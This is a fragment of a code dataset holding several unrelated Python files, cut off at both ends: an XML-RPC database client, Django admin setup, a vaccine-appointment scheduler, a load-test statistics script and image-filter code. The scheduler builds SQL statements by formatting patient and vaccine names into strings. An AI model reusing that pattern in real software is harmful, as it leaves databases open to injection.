pd.read_csv(os.path.join(TRAIN_DATA_PATH, file))\r\n _id = df[v_ID].unique()[0]\r\n label = labels_df.loc[_id]\r\n clusters_dfs[label].append(df)\r\n \r\n return clusters_dfs\r\n\r\n\r\n \r\n\r\n \r\n","sub_path":"SaveDat/Simulator/src/behavior_moudle.py","file_name":"behavior_moudle.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"414080350","text":"from django.contrib import admin\nfrom .models import BillCategory, BillTag, Bill\n\n# Register your models here.\nclass BillCategoryAdmin(admin.ModelAdmin):\n model = BillCategory\n search_fields = ['category_name']\n\nadmin.site.register(BillCategory,BillCategoryAdmin)\n\nclass BillTagAdmin(admin.ModelAdmin):\n model = BillTag\n search_fields = ['tag_name']\n\nadmin.site.register(BillTag,BillTagAdmin)\n\nclass BillAdmin(admin.ModelAdmin):\n model = Bill\n list_display = ('title', 'date', 'category')\n autocomplete_fields = ['tags']\n\nadmin.site.register(Bill,BillAdmin)","sub_path":"app/bills/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"563121372","text":"#-------------------------------------------------------------------------------\n# Name: RpcClient\n# Purpose:\n#\n# Author: Todd Hay\n# Email: Todd.Hay@noaa.gov\n#\n# Created: Oct 24, 2014\n# License: New BSD\n#-------------------------------------------------------------------------------\nimport xmlrpc.client as xrc\nimport time\nimport apsw\nimport os\nimport logging\nimport socket\n\nfrom PyQt5.QtCore import pyqtSignal, QObject\n\n\nDB_NAME = \"hookandline_hookmatrix.db\"\n\n\ndef get_fpc_ip(db_addresses):\n \"\"\"\n Method to grab the FPC IP address to determine if it's a legitimate 192.254... IP or just localhost, 127.0.0.1\n :param db_addresses:\n :return:\n \"\"\"\n ip_address = socket.gethostbyname(socket.gethostname())\n ip_octets = ip_address.split('.')\n db_octets = db_addresses[\"FPC IP Address\"].split('.')\n if ip_octets[0] == db_octets[0] and ip_octets[1] == db_octets[1]:\n hostname = db_addresses[\"FPC IP Address\"]\n elif \"Test FPC IP Address\" in db_addresses:\n hostname = db_addresses[\"Test FPC IP Address\"]\n else:\n hostname = ip_address\n\n return hostname\n\n\nclass RpcClient(QObject):\n\n exception_encountered = pyqtSignal(str, str, name=\"exceptionEncountered\", arguments=[\"message\", \"action\"])\n\n def __init__(self):\n\n super().__init__()\n self._port = 9000\n try:\n if os.path.exists(os.path.join(os.getcwd(), '../data', DB_NAME)):\n path = '../data'\n elif os.path.exists(os.path.join(os.getcwd(), 'data', DB_NAME)):\n path = 'data'\n else:\n logging.error('RpcClient: Error connecting to databases')\n return\n db = os.path.join(path, DB_NAME)\n self.conn = apsw.Connection(db)\n self.conn.setbusytimeout(5000)\n self.cursor = self.conn.cursor()\n\n sql = \"\"\"\n SELECT PARAMETER, VALUE FROM SETTINGS\n WHERE PARAMETER IN ('FPC IP Address', 'Test FPC IP Address');\n \"\"\"\n self.cursor.execute(sql)\n results = self.cursor.fetchall()\n db_addresses = {}\n if results:\n db_addresses = {x[0]: x[1] for x in results}\n\n self._hostname = get_fpc_ip(db_addresses)\n\n\n self.conn.close()\n except Exception as ex:\n logging.info(f\"Exception getting hostname: {ex}\")\n self._hostname = \"127.0.0.1\"\n\n logging.info(f\"hostname: {self._hostname}\")\n\n self.server = xrc.ServerProxy('http://' + self._hostname + ':' + str(self._port),\n allow_none=True,\n use_builtin_types=True)\n\n # TODO - Test that the server is actually operating, if not, close RpcClient\n if self.server is None:\n logging.error('RpcClient: Server is not responding, closing')\n\n def set_sensor_db_filename(self, operational_id):\n try:\n self.server.set_sensor_db_filename(operational_id)\n except apsw.BusyError as ex:\n logging.error('RpcClient: Database is opened outside of PyCollector: ' + str(ex))\n except Exception as ex:\n logging.error('RpcClient: > set_sensor_db_filename > Exception:' + str(ex))\n\n def insert_many_query(self, db='wheelhouse', sql=None, params=None):\n\n if type(sql) is not bytes:\n sql = sql.encode('utf-8')\n\n if params is not None:\n for row in params:\n row = [x.encode('utf-8') if isinstance(x, bytes) else x for x in row]\n\n try:\n return self.server.insert_many_query(db, sql, params)\n except apsw.BusyError as ex:\n logging.error('RpcClient: Database is opened outside of FPC: ' + str(ex))\n\n def execute_query_get_id(self, db='wheelhouse', sql=None, params=None, notify=None):\n\n if type(sql) is not bytes:\n sql = sql.encode('utf-8')\n\n if params is not None:\n params = [x.encode('utf-8') if isinstance(x, bytes) else x for x in params]\n\n try:\n return self.server.execute_query_get_id(db, sql, params)\n except apsw.BusyError as ex:\n logging.error('RpcClient: Database is opened outside of PyCollector: ' + str(ex))\n\n def execute_query(self, db='wheelhouse', sql=None, params=None, notify=None):\n\n if type(sql) is not bytes:\n sql = sql.encode('utf-8')\n\n # if params is not None:\n # params = [x.encode('utf-8') if not isinstance(x, bytes) else x for x in params]\n\n results = []\n try:\n results = self.server.execute_query(db, sql, params, notify)\n except apsw.BusyError as ex:\n message = f\"RpcClient Error: Database is opened outside of HookLogger: {ex}\"\n logging.error('RpcClient: Database is opened outside of PyCollector: ' + str(ex))\n action = f\"Please close the database down in the non-HookLogger application.\"\n self.exception_encountered.emit(message, action)\n\n except OSError as ex:\n logging.error(f\"exception: {ex}\")\n if \"[WinError 10061]\" in str(ex) or \"[WinError 10060]\" in str(ex):\n message = f\"WIFI problem, cannot see the FPC machine, data won't save.\"\n action = f\"Please check your WIFI connection\\nand ensure HookLogger is running.\"\n logging.info(f\"{message}\")\n else:\n message = f\"OSError encountered: {ex}\"\n action = f\"Please restart the application + check WIFI connection\"\n self.exception_encountered.emit(message, action)\n\n except Exception as ex:\n logging.error('RpcClient: execute_query > Exception:' + str(ex))\n logging.error('RpcClient: sql: ' + str(sql))\n logging.error('RpcClient: params: ' + str(params))\n\n message = f\"RpcClient Database Error:\\n{ex}\"\n action = f\"Please check your WIFI connection.\"\n self.exception_encountered.emit(message, action)\n\n for row in results:\n row = [x.decode('utf-8') if isinstance(x, bytes) else x for x in row]\n\n return results\n\n def get_last_row_id(self, db='wheelhouse'):\n\n return self.server.get_last_row_id(db)\n\n def get_table_column_count(self, db='wheelhouse', table=None):\n\n if table is not None:\n return self.server.get_table_column_count(db, table)\n\n def test_queries(self):\n\n print('Testing the RpcClient')\n\n start = time.clock()\n\n # List RPC Server Functions\n print('\\n\\t1. Server Functions:\\n\\t\\t', '\\n\\t\\t'.join(self.server.system.listMethods()))\n\n # Miscellaneous Functions\n print('\\n\\t2. Miscellaneous Functions')\n print('\\t\\tget_server_path(): ', str(self.server.get_server_path()))\n print('\\t\\tget_server_cwd(): ', str(self.server.get_server_cwd()))\n print('\\t\\tget_table_column_count(): $SDDBT -> ',\n self.get_table_column_count('sensors', '\"$SDDBT\"'))\n\n # SELECT Query Example - No Parameters\n sql = 'SELECT * FROM \"$SDDBT\"'\n results = self.execute_query(db='wheelhouse', sql=sql)\n sql = 'SELECT count(*) FROM \"$SDDBT\"'\n count = self.execute_query(db='wheelhouse', sql=sql)\n\n print('\\n\\t3. SELECT Sample Query, No Parameters')\n print('\\t\\texecute_query(db=\\'sensors\\', sql=\\'', sql, '\\')', sep='')\n print('\\t\\tQuery Results Count: ', count[0][0], 'rows')\n print('\\t\\tQuery Results: ', results)\n print('\\t\\tQuery Individual Value [0][11]: ', results[0][11])\n\n # SELECT Query Example - With Parameters\n sql = 'SELECT * FROM \"$SDDBT\" WHERE SDDBT_ID > ? AND RawData LIKE ?' #SDDBT_ID = ?'\n # params = (30,)\n # params = (30, \"$SDDBT\")\n params = [30, \"%$SDDBT%\"]\n results = self.execute_query(db='wheelhouse', sql=sql, params=params)\n sql = 'SELECT count(*) FROM \"$SDDBT\" WHERE SDDBT_ID > ? AND RawData LIKE ?' #SDDBT_ID = ?'\n count = self.execute_query(db='wheelhouse', sql=sql, params=params)\n print('\\n\\t4. SELECT Sample Query, With Parameters')\n print('\\t\\texecute_query(db=\\'sensors\\', sql=\\'', sql,\n '\\', params=', params, ')', sep='')\n print('\\t\\tQuery Results Count: ', count[0][0], 'rows')\n print('\\t\\tQuery Results: ', results)\n if len(results) > 0:\n print('\\t\\tQuery Individual Value [0][11]: ', results[0][11])\n\n\n # INSERT Query Example - With Parameters\n sql = 'INSERT INTO EquipmentDeployment VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)'\n\n startDate = time.strftime('%m/%d/%Y', time.localtime(time.time()))\n equipmentInstanceID = 123\n equipmentTypeID = 12\n\n params = (\n None, # EquipmentDeploymentID - NULL gives autoincrement for this PrimaryKey INT field\n '', # Cruise\n '2014', # Year\n 'Excalibur', # Vessel\n startDate, # StartDate - Reformat as MM/DD/YY\n '', # EndDate\n '', # Name\n '', # Comment\n equipmentTypeID, # EquipmentTypeID\n equipmentInstanceID, # EquipmentInstanceID\n '', # MountPointID - necessary?\n '1', # ComPort\n '4800', # BitsPerSecond\n '8', # DataBits\n 'None', # Parity\n '1', # StopBits\n 'None' # FlowControl\n )\n\n end = time.clock()\n print('\\nTime to Complete Queries: %.2gs' % (end - start))\n\n # **************************************************************************************************************\n # LEGACY CODE - From Python 2.7 PySide Prototyping effort - likely can remove once we're convinced that the\n # binary data transport is handled properly\n # **************************************************************************************************************\n\n # Encode the SQL string as binary (for those NMEA sentences that have ASCII characters 0 -> 31)\n # Not necessary for generic string-based sql queries, will be required for NMEA sentence inserts however\n # for the raw data column\n\n # Convert all str or subclasses of strings (i.e. unicode instances) to xmlrpclib.Binary\n # params = tuple([x if isinstance(x,basestring) else xrl.Binary(x) for x in params])\n\n # Converts only the str class (i.e. no subclasses to xmlrpclib.Binary)\n # params = (x if type(x) is str else xrl.Binary(x) for x in params)\n\n #sql = xrl.Binary(sql)\n #params = xrl.Binary(str(params))\n\nif __name__ == \"__main__\":\n\n client = RpcClient()\n # client.test_queries()","sub_path":"py/hookandline_hookmatrix/RpcClient.py","file_name":"RpcClient.py","file_ext":"py","file_size_in_byte":11031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"271360994","text":"from CreditCardDAO import CreditCardDAO\n\nclass PaymentCardDAO(CreditCardDAO):\n\n \"\"\"docstring for PaymentCardDAO\"\"\"\n\n def __init__(self):\n self.init()\n\n def post(self, card):\n self.cursor.execute(\"INSERT into PaymentCard(creditCardNumberLastFour, amount, spentDate, bankid, datetime) VALUES (%s,%s,%s,%s,%s)\",\n (card.creditCardNumberLastFour,\n card.amount,\n card.spentDate,\n card.bankid,\n card.datetime))\n self.commit()\n","sub_path":"app/dao/PaymentCreditCardDAO.py","file_name":"PaymentCreditCardDAO.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"101471503","text":"from datetime import datetime\nfrom datetime import timedelta\nimport vaccine_caregiver\nimport pymssql\nfrom sql_connection_manager import SqlConnectionManager\nimport os\n\nclass NotEnoughVaccine(Exception):\n pass\n\nclass DoneWithVaccine(Exception):\n pass\n\nclass VaccinePatient:\n def __init__(self, PatientName, PatientStatusCode, cursor):\n try:\n self.sqltext = \\\n \"INSERT INTO Patients (PatientName, VaccineStatus) VALUES ('%s', %d);\" % (\n PatientName,\n PatientStatusCode\n )\n self.PatientId = 0\n self.PatientName = PatientName\n self.PatientStatusCode = PatientStatusCode\n self.firstAppointmentId, self.secondAppointmentId = -1, -1\n\n cursor.execute(self.sqltext)\n cursor.connection.commit()\n cursor.execute(\"SELECT @@IDENTITY AS 'Identity'; \")\n _identityRow = cursor.fetchone()\n self.PatientId = _identityRow['Identity']\n cursor.connection.commit()\n print('Query executed successfully. Vaccine Patient : ' + self.PatientName\n + ' added to the database using Patient ID = ' + str(self.PatientId))\n except pymssql.Error as db_err:\n print(\"Database Programming Error in SQL Query processing for VACCINE PATIENT! \")\n print(\"Exception code: \" + str(db_err.args[0]))\n if len(db_err.args) > 1:\n print(\"Exception message: \" + db_err.args[1])\n print(\"SQL text that resulted in an Error: \" + self.sqltext)\n\n\n def ReserveAppointment(self, CaregiverSchedulingID, Vaccine, cursor):\n # We are allowing scheduling of the first appointment, even when the second appointment is not available\n try:\n if self.PatientStatusCode >= 4:\n raise DoneWithVaccine\n\n if self.PatientStatusCode == 0:\n # This is the part where we let others schedule their first dose\n # If they already have scheduled their first dose, their status code would be 1\n # and would go on to trying to schedule their second dose, after the if statement.\n # This is, of course, based on the fact that we would put status code for\n # patients who received one dose vaccine as \"two-dose received\" to avoid any confusion.\n\n # Checking if the slot is on hold\n sqltext = (\"select * from CareGiverSchedule where CaregiverSlotSchedulingId = %d\"\n % (CaregiverSchedulingID))\n cursor.execute(sqltext)\n caregiver_result = cursor.fetchone()\n slotStatus = caregiver_result['SlotStatus']\n if slotStatus != 1:\n raise ValueError()\n self.firstCareGiverSchedulingId = CaregiverSchedulingID\n\n # Reserving Vaccine Doses\n sqltext = \"select * from Vaccines where VaccineName = '{}'\".format(Vaccine.vaccine)\n cursor.execute(sqltext)\n vaccine_result = cursor.fetchone()\n dosesPerPatient = vaccine_result[\"DosesPerPatient\"]\n availableDoses = vaccine_result.get(\"AvailableDoses\", 0)\n if not availableDoses:\n raise NotEnoughVaccine\n\n # Initial Entry in the Vaccine Appointment Table of the FIRST DOSE\n VaccineName = Vaccine.vaccine\n CaregiverId = caregiver_result['CaregiverId']\n ReservationDate = caregiver_result['WorkDay']\n ReservationStartHour = caregiver_result[\"SlotHour\"]\n ReservationStartMinute = caregiver_result[\"SlotMinute\"]\n AppointmentDuration = 15\n SlotStatus = 1\n DoseNumber = 1\n\n sqltext = \"UPDATE Patients SET VaccineStatus = 1 WHERE PatientId = {}\".format(self.PatientId)\n cursor.execute(sqltext)\n cursor.connection.commit()\n self.PatientStatusCode = 1\n\n Vaccine.ReserveDoses(1, cursor)\n\n sqltext = (\"INSERT INTO VaccineAppointments (VaccineName, PatientId, CaregiverId, ReservationDate, \" +\n \"ReservationStartHour, ReservationStartMinute, AppointmentDuration, SlotStatus, DoseNumber) \" +\n \"Values ('{}', {}, {}, '{}', {}, {}, {}, {}, {})\".format(VaccineName, self.PatientId, CaregiverId,\n ReservationDate, ReservationStartHour, ReservationStartMinute, AppointmentDuration, SlotStatus, DoseNumber))\n cursor.execute(sqltext)\n cursor.connection.commit()\n cursor.execute(\"SELECT @@IDENTITY AS 'Identity'; \")\n self.firstAppointmentId = cursor.fetchone()['Identity']\n\n sqltext = \"Update CareGiverSchedule Set VaccineAppointmentId = {} WHERE CaregiverSlotSchedulingId = {} and SlotStatus = 1;\" \\\n .format(self.firstAppointmentId, CaregiverSchedulingID)\n cursor.execute(sqltext)\n cursor.connection.commit()\n\n print(\"{}'s First Appointment ID: {}; CareGiverScheduler ID: {}\".format(self.PatientName,\n self.firstAppointmentId,\n self.firstCareGiverSchedulingId))\n\n # Initial Entry in the Vaccine Appointment Table of the SECOND DOSE\n if dosesPerPatient != 2:\n return\n\n with SqlConnectionManager(Server=os.getenv(\"Server\"),\n DBname=os.getenv(\"DBName\"),\n UserId=os.getenv(\"UserID\"),\n Password=os.getenv(\"Password\")) as sqlClient:\n new_cursor = sqlClient.cursor(as_dict=True)\n self.reserveAppt2(caregiver_result, Vaccine, new_cursor)\n\n if self.secondAppointmentId >= 0:\n print(\"{}'s Second Appointment ID: {}; CareGiverScheduler ID: {}\".format(self.PatientName,\n self.secondAppointmentId,\n self.secondCareGiverSchedulingId))\n except NotEnoughVaccine:\n print(\"There is no available vaccine dose available for {}\".format(self.PatientName))\n cursor.connection.rollback()\n self.firstAppointmentId, self.firstCareGiverSchedulingId = -1, -1\n except DoneWithVaccine:\n cursor.connection.rollback()\n print(\"{} has already scheduled both vaccines, please patiently wait for your booster shot.\".format(\n self.PatientName))\n raise DoneWithVaccine\n except ValueError:\n print(\"The slot is not currently on hold...\")\n cursor.connection.rollback()\n except pymssql.Error as db_err:\n print(\"Database Programming Error in SQL Query processing for Reserving Appointments\")\n print(\"Exception code: \" + str(db_err.args[0]))\n if len(db_err.args) > 1:\n print(\"Exception message: \" + db_err.args[1])\n print(\"SQL text that resulted in an Error: \" + sqltext)\n\n def reserveAppt2(self, appt1, Vaccine, cursor):\n \"\"\" appt1 is the row of caregiverschedule table corresponding to first appointement \"\"\"\n \"\"\" date is datetime \"\"\"\n \"\"\" Reserve the first availible slot in 3-6 weeks.\"\"\"\n date = appt1['WorkDay']\n lowerD = date + timedelta(days=21)\n upperD = date + timedelta(days=42)\n try:\n # Checking if the slot is on hold\n sqltext = (\"select * from CareGiverSchedule where WorkDay >= '\"\n + str(lowerD) + \"' AND WorkDay <= '\" + str(upperD) +\n \"' AND SlotStatus = 0 ORDER BY WorkDay, SlotHour;\")\n cursor.execute(sqltext)\n appt2Result = cursor.fetchone()\n if not appt2Result:\n raise NotEnoughVaccine\n self.secondCareGiverSchedulingId = appt2Result['CaregiverSlotSchedulingId']\n\n # Find an opening in the caregiver schedule\n sqltext = \"Update CareGiverSchedule Set SlotStatus = 1 WHERE CaregiverSlotSchedulingId = {} and SlotStatus = 0;\"\\\n .format(str(appt2Result['CaregiverSlotSchedulingId']))\n cursor.execute(sqltext)\n cursor.connection.commit()\n\n\n VaccineName = Vaccine.vaccine\n CaregiverId = appt2Result['CaregiverId']\n ReservationDate = appt2Result['WorkDay']\n ReservationStartHour = appt2Result[\"SlotHour\"]\n ReservationStartMinute = appt2Result[\"SlotMinute\"]\n AppointmentDuration = 15\n SlotStatus = 1\n DoseNumber = 2\n\n Vaccine.ReserveDoses(1, cursor)\n\n sqltext = (\"INSERT INTO VaccineAppointments (VaccineName, PatientId, CaregiverId, ReservationDate, \" +\n \"ReservationStartHour, ReservationStartMinute, AppointmentDuration, SlotStatus, DoseNumber) \" +\n \"Values ('{}', {}, {}, '{}', {}, {}, {}, {}, {})\".format(VaccineName, self.PatientId, CaregiverId,\n ReservationDate, ReservationStartHour, ReservationStartMinute, AppointmentDuration, SlotStatus, DoseNumber))\n cursor.execute(sqltext)\n cursor.connection.commit()\n\n cursor.execute(\"SELECT @@IDENTITY AS 'Identity'; \")\n self.secondAppointmentId = cursor.fetchone()['Identity']\n\n sqltext = \"Update CareGiverSchedule Set VaccineAppointmentId = {} WHERE CaregiverSlotSchedulingId = {} and SlotStatus = 1;\" \\\n .format(str(self.secondAppointmentId), str(self.secondCareGiverSchedulingId))\n cursor.execute(sqltext)\n cursor.connection.commit()\n\n except NotEnoughVaccine:\n print(\"We have reserved {}'s first appointment but there is either no second appointment slot available or not enough doses left.\".format(self.PatientName))\n self.secondAppointmentId, self.secondCareGiverSchedulingId= -1, -1\n cursor.connection.rollback()\n except pymssql.Error as db_err:\n print(\"Database Programming Error in SQL Query processing for Reserving Appointments\")\n print(\"Exception code: \" + str(db_err.args[0]))\n if len(db_err.args) > 1:\n print(\"Exception message: \" + db_err.args[1])\n print(\"SQL text that resulted in an Error: \" + sqltext)\n\n def ScheduleAppointment(self, cursor):\n # Vaccines Inventory is handled in the reservation function.\n try:\n if self.firstAppointmentId >= 0:\n sqltext1 = \"Update CareGiverSchedule Set SlotStatus = 2 WHERE CaregiverSlotSchedulingId = \" \\\n + str(self.firstCareGiverSchedulingId) + \"and SlotStatus = 1;\" + \\\n \"Update Patients Set VaccineStatus = 2 WHERE PatientId = \" + str(self.PatientId) + \\\n \"AND VaccineStatus = 1;\" +\\\n \" Update VaccineAppointments Set SlotStatus = 2 WHERE VaccineAppointmentId = \"+ \\\n str(self.firstAppointmentId) + \" AND SlotStatus = 1;\"\n cursor.execute(sqltext1)\n cursor.connection.commit()\n if self.secondAppointmentId >= 0:\n sqltext2 = \"Update CareGiverSchedule Set SlotStatus = 2 WHERE CaregiverSlotSchedulingId = \" \\\n + str(self.secondCareGiverSchedulingId) + \"and SlotStatus = 1;\" + \\\n \"Update Patients Set VaccineStatus = 5 WHERE PatientId = \" + str(self.PatientId) + \\\n \"AND VaccineStatus = 4;\" +\\\n \" Update VaccineAppointments Set SlotStatus = 2 WHERE VaccineAppointmentId = \"+ \\\n str(self.secondAppointmentId) + \" AND SlotStatus = 1;\"\n cursor.execute(sqltext2)\n cursor.connection.commit()\n\n except pymssql.Error as db_err:\n print(\"Database Programming Error in SQL Query processing for Reserving Appointments\")\n print(\"Exception code: \" + str(db_err.args[0]))\n if len(db_err.args) > 1:\n print(\"Exception message: \" + db_err.args[1])\n print(\"SQL text that resulted in an Error\")\n\n","sub_path":"VaccinePatient.py","file_name":"VaccinePatient.py","file_ext":"py","file_size_in_byte":12581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"21007128","text":"import sys\nimport pandas as pd\nimport numpy as np\n\ndef df_statistics(df,label,column_name):\n df_sort=df.sort_values(by=column_name,ascending=True).reset_index(drop = True)\n count=df_sort.agg({column_name:['count']})[column_name].values[0]\n fail_count=df[df['success']==False].count()['success']\n\n p90=int(len(df_sort)*0.90)\n p95=int(len(df_sort)*0.95)\n p99=int(len(df_sort)*0.99)\n if p90 >= count:\n p90=count-1\n if p90 >= count:\n p95=count-1\n if p90 >= count:\n p99=count-1\n if column_name == 'elapsed':\n p90_value=df_sort.loc[p90,[column_name]][column_name]\n p95_value=df_sort.loc[p95,[column_name]][column_name]\n p99_value=df_sort.loc[p99,[column_name]][column_name]\n min_value=df_sort.agg({column_name:['min']})[column_name].values[0]\n max_value=df_sort.agg({column_name:['max']})[column_name].values[0]\n avg=df_sort.agg({column_name:['mean']})[column_name].values[0]\n median=df_sort.agg({column_name:['median']})[column_name].values[0]\n elif column_name == 'Latency':\n p90_value=df_sort.loc[p90,[column_name]][column_name]/1000\n p95_value=df_sort.loc[p95,[column_name]][column_name]/1000\n p99_value=df_sort.loc[p99,[column_name]][column_name]/1000\n min_value=df_sort.agg({column_name:['min']})[column_name].values[0]/1000\n max_value=df_sort.agg({column_name:['max']})[column_name].values[0]/1000\n avg=df_sort.agg({column_name:['mean']})[column_name].values[0]/1000\n median=df_sort.agg({column_name:['median']})[column_name].values[0]/1000\n\n\n print(\"statistics:\",column_name,\"label:\",label,'count:',count,'fail_count:',fail_count,'min:',min_value,'max_value:',max_value,'avg:',avg,'median',median,'p90:',p90_value,'p95:',p95_value,'p99:',p99_value)\n\nif __name__ == '__main__':\n if(len(sys.argv)<2):\n print(\"please input csv filename\")\n sys.exit(1)\n #read file\n try:\n filename=sys.argv[1]\n print(filename)\n df=pd.read_csv(filename,header=0,sep=',')\n except:\n print(\"read csv file failed\")\n sys.exit(1)\n else:\n print(\"read csv to df success\")\n\n\n if(len(df) == 0):\n print(\"there is no data to statistics\")\n sys.exit(0)\n\n #statistics elapsed\n try:\n df_statistics(df,'total','elapsed')\n for label,group in df.groupby(['label']):\n df_statistics(group, label,'elapsed')\n except:\n print(\"statistics elapsed failed , please check the data in file\")\n sys.exit(1)\n else:\n print(\"statistics elapsed finished!\")\n\n #statistics latency\n try:\n df_statistics(df,'total','Latency')\n for label,group in df.groupby(['label']):\n df_statistics(group, label,'Latency')\n except:\n print(\"statistics Latency failed , please check the data in file\")\n sys.exit(1)\n else:\n print(\"statistics Latency finished!\")\n","sub_path":"ldbc/scripts/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":2943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"130979549","text":"from datetime import datetime\nfrom typing import List\n\nimport requests\nfrom eremiza import Client as ERemizaClient\nfrom eremiza._alarm import Alarm\nfrom fbchat import Client as FbClient\nfrom fbchat.models import ThreadType, Message, Mention, LocationAttachment\nfrom nexmo import Client as Nexmo\nfrom time import sleep\n\nfrom .settings import FB_GROUP_ID, TIMEZONE, NEXMO_NUMBERS, NEXMO_APP_NUMBER\n\n\nclass Client:\n eremiza_client: ERemizaClient\n client: FbClient or None\n nexmo: Nexmo or None\n alarms: List[Alarm]\n\n def __init__(self):\n self.alarms = list()\n self.client = None\n self.group_id = None\n self.wh_url = None\n self.nexmo = None\n\n def set_eremiza_client(self, client):\n self.eremiza_client = client\n\n def set_fbchat_client(self, client: FbClient, group_id):\n self.client = client\n self.client.setDefaultThread(group_id, ThreadType.GROUP)\n self.group_id = group_id\n\n def set_dc_webhook_url(self, url):\n self.wh_url = url\n\n def set_nexmo_client(self, client: Nexmo):\n self.nexmo = client\n\n def listen(self):\n while self.eremiza_client and self.doOneListen():\n sleep(5)\n\n def doOneListen(self):\n ids = list(map(lambda a: a.id, self.alarms))\n alarms: List[Alarm] = self.eremiza_client.get_alarms(count=10)\n now = datetime.now(TIMEZONE).replace(tzinfo=None)\n\n for alarm in alarms:\n if alarm.id not in ids:\n self.alarms.append(alarm)\n if alarm.acquired.replace(tzinfo=None) <= now <= alarm.expiration.replace(tzinfo=None):\n self.alarm(alarm)\n\n return True\n\n def alarm(self, alarm: Alarm):\n msg = (\n \"ALARM!\\n\"\n \"Adres: {}\\n\"\n \"Rodzaj: {}\\n\"\n \"Opis: {}\\n\"\n \"Dysponowano: {}\\n\".format(\n alarm.address,\n alarm.sub_kind,\n alarm.description,\n alarm.dispatched_bsis_name,\n )\n )\n if self.client:\n group = self.client.fetchGroupInfo(FB_GROUP_ID)[FB_GROUP_ID]\n mentions = [Mention(uid, offset=0, length=6) for uid in group.participants]\n message = Message(text=msg, mentions=mentions)\n if alarm.latitude and alarm.longitude:\n self.client.sendLocation(\n LocationAttachment(alarm.latitude, alarm.longitude), message=message\n )\n else:\n self.client.send(message)\n\n if self.wh_url:\n msg += \"\\n@everyone\"\n data = {\"content\": msg}\n requests.post(self.wh_url, json=data)\n\n if self.nexmo:\n ncco = [\n {\n \"action\": \"talk\",\n \"voiceName\": \"Jacek\",\n \"text\": f\"{alarm.address or ''}, {alarm.sub_kind or ''}, {alarm.description or ''}\",\n }\n ]\n self.nexmo.create_call(\n {\n \"to\": [\n {\"type\": \"phone\", \"number\": number} for number in NEXMO_NUMBERS\n ],\n \"from\": {\"type\": \"phone\", \"number\": NEXMO_APP_NUMBER},\n \"ncco\": ncco,\n }\n )\n","sub_path":"src/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"97108144","text":"#!/usr/bin/env python\n#coding:utf-8\n\nimport os,sys\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\nsys.path.append(BASE_DIR)\n\nfrom src.DiscoveryHandler import getProcessList,getPortList,purgeProcessList,purgePortList\n\ndef print_help():\n print(\"Function only support one parameter [process|purgeprocess|port]\")\n\nmain_dict = {\n \"process\":getProcessList,\n \"port\":getPortList,\n \"purgeprocess\":purgeProcessList,\n \"purgeport\":purgePortList\n}\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print_help()\n exit()\n else:\n if sys.argv[1] in main_dict:\n main_dict[sys.argv[1]]()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"624388979","text":"#####################LIBRERIAS#####################\n\nimport time\nimport serial\nfrom Libreria_tesis import controller\n\n#####################VARIABLES#####################\n\nport='/dev/ttyACM0'\n##port='COM4'\nbaudrate=9600\ntimeOut=1\n#####################PROGRAMA#####################\n\n# Iniciando conexion serial\n\narduinoPort = serial.Serial(port,baudrate, timeout=timeOut)\n\n# Retardo para establecer la conexion serial\n\ntime.sleep(1.8)\n\ncontroller(arduinoPort)\n \n# Cerrando puerto serial\narduinoPort.close()\n","sub_path":"Comunicacion.py","file_name":"Comunicacion.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"550577731","text":"def filtro(don,im,x,y):\r\n hlf = (len(don)-1)//2\r\n im[max(0,y-hlf):min(len(im),y+hlf+1),max(0,x-hlf):min(len(im[0]),x+hlf+1)] = don[max(0,hlf-y):min(len(don),hlf+len(im)-y),max(0,hlf-x):min(len(don),hlf+len(im[0])-x)]\r\n return im\r\ndef Don(x,y,vc,vs):\r\n return 1/(exp((x**2 + y**2)/(2*(vc**2))) * (2*pi*vc**2)) - 1/(exp((x**2 + y**2)/(2*vs**2))*(2*pi*(vs**2)))\r\n\r\ndef llaves_ordenadas(diccionario):\r\n diccionario = diccionario['t']\r\n l = [(j[0],i) for i,j in diccionario.items() if len(j)>0]\r\n l.sort()\r\n return [i for _,i in l]\r\n\r\n from brian2 import *\r\nfrom scipy import signal, misc\r\nfrom PIL import Image\r\nimport numpy as np\r\nvc1 = 1.5\r\nvs1 = 3.0\r\nvc2 = 3.0\r\nvs2 = 6.0\r\n#name = 'g_tiger.jpg'\r\nname = 'g_beach.jpg'\r\n#name = 'g_desert.jpg'\r\n#name = 'g_face.jpeg'\r\n#name = 'g_cathedral.jpg'\r\n#name = 'g_forest.jpg'\r\n#name = 'g_savana.jpeg'\r\n#name = 'g_traffic.jpg'\r\nim_aux = imread(name)\r\n\r\n###########################\r\n## Definicion de Filtros ##\r\n###########################\r\nsize1 = 15#51#21\r\nsize2 = 33#93#43\r\ndon1 = np.zeros((size1,size1))\r\ndon2 = np.zeros((size2,size2))\r\nmean = im_aux.mean()\r\nimage = np.zeros((200,200))\r\ngauss = np.random.normal(mean,10,(200,200,1))\r\ngauss = gauss.reshape(200,200)\r\nimage = im_aux + gauss\r\n\r\nfor i in range (0,size1): # Se construye el kernel D para neuronas on-off del primer tamaño\r\n for j in range(0,size1):\r\n don1[i][j] = Don(-np.floor(size1/2) + j,-np.floor(size1/2) + i, vc1, vs1)\r\ndoff1 = -don1\r\nfor i in range (0,size2): # Se construye otro kernel D para neuronas con el 